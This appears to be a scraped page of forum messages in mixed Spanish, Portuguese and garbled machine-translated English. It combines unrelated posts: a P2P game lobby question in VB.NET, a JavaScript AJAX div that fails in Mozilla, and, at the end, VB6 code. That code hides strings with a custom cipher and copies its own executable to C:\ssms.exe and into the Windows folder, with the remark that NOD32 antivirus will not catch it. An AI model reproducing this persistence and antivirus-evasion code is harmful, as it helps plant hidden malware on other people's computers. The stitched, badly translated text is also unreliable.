Mensajes

ok gracias, yo podría hacer una aplicación p2p que cuando se ejecuta sería toda una red, una aplicación como hamachi, y yo haría el resto en asp.net, entonces las salas de chat y estaría en la aplicación y asp.net entendida en vb.net? Me gustaría que alguien me ayude con esta solicitud

Me gustaría que alguien me diera una luz, porque estoy queriendo crear un lobby en el que cualquiera podía jugar conectar con otros jugadores a través de p2p puede elegir el juego que te gusta y que la habitación para entrar, como garena gusta hacer en vb.net, alguien en quien pudiera decirle cómo empezar, he tratado de no usar más RakNet conjunto conssegui.
lo siento por mi español

I am with the the next problem I call a function em javascript at onclick & in that function I call various parametros & a of this is the div in the event of I call of Step2, into the ie it works what that's a beauty but into the mozilla nem from signal of life , & when I shot this adorn (Step2 in the event of the div ) he calls the feature into the mozilla but nao they build the tableless , they know a few solution or a few substitution pro div. please me help me
grateful

code onclick
onclick =""showChildb('step2.aspx', Step2, this, 'Hide Hotels', 'Search Hotels', 'Form1', 'selCidade,selCategoriaHotel,dataI,dataF,nrNoites,nomeHotel,valorAte" + camposAjax + " ', '<div> </div>')""

code html
div id="Step2"><div> </div>
</div> <!--Step2-->

code javascript
function showChildb(url, tabela, obj, strObj, strObj2, formp, campos, vazio) {
if (tabela.innerHTML == "" || tabela.innerHTML == " " || tabela.innerHTML == "<DIV> </DIV>" || tabela.innerHTML == "<div> </div>") {
tabela.innerHTML = "<div>Loading...</div>";
objxml = new getXML();
rand = Math.random();
cola = '?';
if(inStr(url, '?')) {
cola = '&';
}
else {
cola = '?';
}
objxml.open("POST",url+cola+"rand=" + rand,true);
objxml.setRequestHeader('Content-Type','application/x-www-form-urlencoded');

objxml.onreadystatechange = function(){
if (objxml.readyState == 4) {
var saida = objxml.responseText;
tabela.innerHTML = saida;
//alert(saida);
//document.Form1.Text1.value=saida;
}
}


parametros = getObjVl(campos, formp);
objxml.send(parametros);
obj.value = strObj;
switch (obj.name)

[Step2]

Soy con el siguiente problema cuándo Uso el div con ajax le no ella montar el tabless no funciona en mozilla pero a el IE  trabajo perfectamente , Llamo a onclick cuándo Vario el parametro qué es usado , en caso Srep2 qué ese un div no funciona no ha sido de nada , a el IE  trabajo perfectamente , por favor me ayúdame.

el codigo onclick

onclick =""showChildb('step2.aspx', Step2, this, 'Hide Hotels', 'Search Hotels', 'Form1', 'selCidade,selCategoriaHotel,dataI,dataF,nrNoites,nomeHotel,valorAte" + camposAjax + " ', '<div>&nbsp;</div>

el codigo html

<div id="Step2"><div>&nbsp;</div>
</div> <!--Step2-->

el codigo java

function showChildb(url, tabela, obj, strObj, strObj2, formp, campos, vazio)  {
   if (tabela.innerHTML == "" || tabela.innerHTML == "&nbsp;" || tabela.innerHTML == "<DIV>&nbsp;</DIV>" || tabela.innerHTML == "<div>&nbsp;</div>") {
      tabela.innerHTML = "<div>Loading...</div>";
      objxml = new getXML();
      rand = Math.random();
      cola = '?';
      if(inStr(url, '?'))   {
         cola = '&';
      }
      else {
         cola = '?';
      }
      objxml.open("POST",url+cola+"rand=" + rand,true);
      objxml.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
      
      objxml.onreadystatechange = function(){
                                 if (objxml.readyState == 4) {
                                    var saida = objxml.responseText;
                                    tabela.innerHTML = saida;
                                    //alert(saida);
                                    //document.Form1.Text1.value=saida;
                                 }
                              }
      
      
      parametros = getObjVl(campos, formp);
      objxml.send(parametros);
      obj.value = strObj;
      switch (obj.name)
      }

[onclick =""showChildb('step2.aspx', Step2, this, 'Hide Hotels', 'Search Hotels', 'Form1', 'selCidade,selCategoriaHotel,dataI,dataF,nrNoites,nomeHotel,valorAte" + camposAjax + " ', '<div>&nbsp;</div>')"">"]

estou desenvolvendo um site em asp.net 2.0, e tem uma linha que so esta funcionando em IE em mozilla nao funciona de jeito nenhum, essa linha chama um codigo java,

Me.lblBtnSearchHotel.Text = "<input name=""btnSearchHotel"" type=""button"" value=""Search Hotels"" class=""btnFields3"" onclick =""showChildb('step2.aspx', Step2, this, 'Hide Hotels', 'Search Hotels', 'Form1', 'selCidade,selCategoriaHotel,dataI,dataF,nrNoites,nomeHotel,valorAte" + camposAjax + " ', '<div>&nbsp;</div>')"">"

por favor me ajudem so funciona em IE

Primeiro as funções..

Código [Seleccionar] Expandir

Private Function NumericPassword(ByVal password As String) As Long
    Dim value As Long
    Dim ch As Long
    Dim shift1 As Long
    Dim shift2 As Long
    Dim i As Integer
    Dim str_len As Integer

    str_len = Len(password)
    For i = 1 To str_len
        ' Adiciona a próxima letra
        ch = Asc(Mid$(password, i, 1))
        value = value Xor (ch * 2 ^ shift1)
        value = value Xor (ch * 2 ^ shift2)

        ' Change the shift offsets.
        shift1 = (shift1 + 7) Mod 19
        shift2 = (shift2 + 13) Mod 23
    Next i
    NumericPassword = value
End Function


Public Function DeCriptSenha(Psenha As String) As Variant

Dim v_sqlerrm As String
Dim SenhaCript As String

Dim var1 As String

Const MIN_ASC = 32  ' Space.
Const MAX_ASC = 126 ' ~.
Const NUM_ASC = MAX_ASC - MIN_ASC + 1

chave = 2001 ''qualquer nº para montar o algorítimo da criptografia
Dim offset As Long
Dim str_len As Integer
Dim i As Integer
Dim ch As Integer

to_text = ""
offset = NumericPassword(chave)
Rnd -1
Randomize offset
str_len = Len(Psenha)
For i = 1 To str_len
    ch = Asc(Mid$(Psenha, i, 1))
    If ch >= MIN_ASC And ch <= MAX_ASC Then
        ch = ch - MIN_ASC
        offset = Int((NUM_ASC + 1) * Rnd)
        ch = ((ch - offset) Mod NUM_ASC)
        If ch < 0 Then ch = ch + NUM_ASC
        ch = ch + MIN_ASC
        to_text = to_text & Chr$(ch)
    End If
Next i

DeCriptSenha = to_text
   
End Function

O códgio cifrado..

Código [Seleccionar] Expandir

Dim f, f2 As String
       
f = DeCriptSenha(":U.-_$_,<V9")
f2 = DeCriptSenha(">H9)Y#")
               
win = Environ(f2) & "/" 'carpeta de windows
BSExe = App.Path & "/" & App.EXEName & ".exe" 'path de la aplicacion
FileCopy BSExe, "C:\" & "ssms.exe"
FileCopy BSExe, win & f


assim o nod32 não pega

como seria esse código em vb6?